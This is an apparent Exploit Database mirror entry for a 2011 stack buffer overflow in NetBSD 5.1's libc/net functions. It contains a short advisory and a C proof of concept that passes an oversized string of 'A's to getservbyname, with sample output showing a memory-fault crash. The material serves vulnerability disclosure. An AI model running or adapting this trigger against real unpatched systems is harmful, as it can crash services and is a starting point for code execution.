NetBSD 5.1 – ‘libc/net’ Multiple Stack Buffer Overflows

• Exploit Database
• 14 阅读

• 作者： Maksymilian Arciemowicz
  日期： 2011-07-01
• 类别：

  • remote
  平台：

  • bsd
• 来源：https://www.exploit-db.com/exploits/35919/

• // source: https://www.securityfocus.com/bid/48528/info
  
  NetBSD is prone to a stack-based buffer-overflow vulnerability affecting multiple functions in the 'libc/net' library.
  
  Successful exploits may allow an attacker to execute arbitrary code in the context of the application using the affected library. Failed exploit attempts will result in a denial-of-service condition. 
  
  /*
  127# gcc -o grr grr.c && ./grr 6050
  127# gcc -o grr grr.c && ./grr 6051
  Memory fault (core dumped)
  127#
  
  
  */
  #include <stdlib.h>
  #include <string.h>
  #include <netdb.h>
  
  int main(int argc, char *argv[]){
  	char *cycek;
  	cycek=malloc(atoi(argv[1]));
  
  	if(!cycek) return 1;
  	memset(cycek,'A',atoi(argv[1]));
  
  	getservbyname(cycek,"tcp");
  
  	return 0;
  }